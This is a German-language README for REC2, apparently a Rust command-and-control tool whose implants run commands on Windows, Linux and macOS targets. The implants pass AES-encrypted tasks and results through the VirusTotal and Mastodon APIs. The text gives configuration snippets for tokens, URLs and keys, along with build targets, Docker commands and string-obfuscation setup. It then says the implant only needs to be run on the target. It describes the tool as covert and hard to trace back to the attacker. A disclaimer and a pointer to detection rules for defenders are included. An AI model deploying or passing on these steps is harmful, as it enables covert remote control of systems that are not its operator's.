
REC2 (Rusty External Command and Control) ist ein Client- und Server-Tool, das es Prüfern ermöglicht, Befehle über die VirusTotal- und Mastodon-APIs auszuführen, geschrieben in Rust. 🦀
:shipit: Information: REC2 ist ein altes persönliches Projekt (Anfang 2023), das ich nicht weiterentwickelt habe. Es gehört zu einer Liste von Projekten, die mir geholfen haben, Rust zu lernen. Der Code ist wahrscheinlich als veraltet anzusehen und nicht in bester Form. Vielleicht werde ich dort weitermachen, wo ich aufgehört habe #roadmap. REC2 ist jedoch voll funktionsfähig und ermöglicht es, Befehle auf einem Linux-/macOS- oder Windows-Ziel über die VirusTotal- und Mastodon-APIs auszuführen.
⚠️ Haftungsausschluss: REC2 dient nur zu Bildungszwecken. Verwenden Sie es nach eigenem Ermessen; ich übernehme keine Verantwortung für verursachte Schäden. Die Verwendung dieses Tools zum Angriff auf Ziele ohne vorherige gegenseitige Zustimmung ist illegal. Es liegt in der Verantwortung des Endbenutzers, alle geltenden lokalen, staatlichen und bundesstaatlichen Gesetze zu befolgen. Ich übernehme keine Haftung und bin nicht verantwortlich für Missbrauch oder Schäden, die durch dieses Tool verursacht werden.
🔴 Redteamer: Ich teile mit euch eine Betaversion eines meiner externen C2 mit virustotal und mastodon
🔵 Blueteamer: Ihr findet ein Beispiel für Yara-Regeln für REC2-Implantate in diesem Repository.
REC2, oder Rusty External Command and Control, ist ein vielseitiges Command-and-Control-Tool (C2), das in der Programmiersprache Rust entwickelt wurde. Es bietet eine unauffällige und effektive Möglichkeit, Remote-Implantate (Clients) auf macOS-, Linux- und Windows-Systemen zu verwalten. REC2 nutzt Drittanbieter-APIs wie VirusTotal oder Mastodon, um verschlüsselte Nachrichten mittels AES zwischen dem Server und den Implantaten zu übertragen, sodass Angreifer über diese externen Kanäle verdeckt operieren können. Implantate können ausstehende Aufgaben überwachen, abrufen, entschlüsseln, Aufgaben auf dem Zielsystem ausführen und die Ergebnisse sicher über dieselben APIs zurücksenden. Die Verwendung dieser APIs als Vermittler fügt eine zusätzliche Ebene der Anonymisierung hinzu und erschwert die Rückverfolgung zum Angreifer.

Ändern Sie einige Werte in implants/(mastodon,virustotal)/src/main.rs :
// (MASTODON or VIRUSTOTAL) TOKEN
// <https://mastodon.be/settings/applications>
// <https://developers.virustotal.com/reference/authentication>
let token = lc!("TOKEN").to_owned();
// (MASTODON or VIRUSTOTAL) FULL URL
//let full_url = lc!("https://mastodon.xx/@username/100123451234512345").to_owned();
let full_url = lc!("https://www.virustotal.com/gui/file/99ff0b679081cdca00eb27c5be5fd9428f1a7cf781cc438b937cf8baf8551c4d").to_owned();
Erstellen Sie eine statische Binärdatei des Windows-x64-Implantats:
make virustotal_windows
make mastodon_windows
Sie finden (rec2_virustotal_x64.exe oder rec2_mastodon_x64.exe) in Ihrem aktuellen Verzeichnis.
Und zum Abschluss kompilieren Sie die Server-Binärdatei:
make c2server_release
./server_release -h
./server_release VirusTotal -h
./server_release Mastodon -h
# Example
./server_release VirusTotal --url <URL> --token <TOKEN> --key <AES_KEY>
Jetzt müssen Sie nur noch das Implantat auf Ihrem Zielsystem ausführen.
Sie können den make-Befehl verwenden, um es für Linux, Windows oder macOS zu kompilieren.
Weitere Befehle im Makefile:
REC2 Server:
usage: make c2server_debug
usage: make c2server_release
usage: make c2server_windows
usage: make c2server_windows_x64
usage: make c2server_windows_x86
usage: make c2server_linux
usage: make c2server_linux_aarch64
usage: make c2server_linux_x86_64
usage: make c2server_macos
usage: make c2server_arm_musl
usage: make c2server_armv7
VirusTotal implant:
usage: make virustotal_debug
usage: make virustotal_release
usage: make virustotal_windows
usage: make virustotal_windows_x64
usage: make virustotal_windows_x86
usage: make virustotal_linux
usage: make virustotal_linux_aarch64
usage: make virustotal_linux_x86_64
usage: make virustotal_macos
usage: make virustotal_arm_musl
usage: make virustotal_armv7
Mastodon implant:
usage: make mastodon_debug
usage: make mastodon_release
usage: make mastodon_windows
usage: make mastodon_windows_x64
usage: make mastodon_windows_x86
usage: make mastodon_linux
usage: make mastodon_linux_aarch64
usage: make mastodon_linux_x86_64
usage: make mastodon_macos
usage: make mastodon_arm_musl
usage: make mastodon_armv7
Dependencies:
usage: make install_windows_deps
usage: make install_macos_deps
Documentation:
usage: make c2server_doc
usage: make virustotal_doc
usage: make mastodon_doc
Cleaning:
usage: make clean
Erstellen Sie REC2 mit Docker, um sicherzustellen, dass alle Abhängigkeiten vorhanden sind.
docker build --rm -t rec2 .
# Then to build C2 server:
docker run --rm -v ./:/usr/src/rec2 rec2 c2server_windows
docker run --rm -v ./:/usr/src/rec2 rec2 c2server_linux
docker run --rm -v ./:/usr/src/rec2 rec2 c2server_macos
# Then to build VirusTotal implant:
docker run --rm -v ./:/usr/src/rec2 rec2 virustotal_windows
docker run --rm -v ./:/usr/src/rec2 rec2 virustotal_linux
docker run --rm -v ./:/usr/src/rec2 rec2 virustotal_macos
# Then to build Mastodon implant:
docker run --rm -v ./:/usr/src/rec2 rec2 mastodon_windows
docker run --rm -v ./:/usr/src/rec2 rec2 mastodon_linux
docker run --rm -v ./:/usr/src/rec2 rec2 mastodon_macos
Sie müssen Rust auf Ihrem System installieren.
https://www.rust-lang.org/fr/tools/install
:warining: Sie müssen die Variable
LITCRYPT_ENCRYPT_KEYin Ihrem Terminal exportieren, bevor Sie kompilieren. (für die Verschleierung von Implantat-Strings)
export LITCRYPT_ENCRYPT_KEY="MYSUPERPASSWORD1234567890"
LITCRYPT_ENCRYPT_KEY="MYSUPERPASSWORD1234567890"
:warining: Sie müssen den AESKEY in implants/(virustotal,mastodon)/main.rs ändern sowie URL und TOKEN.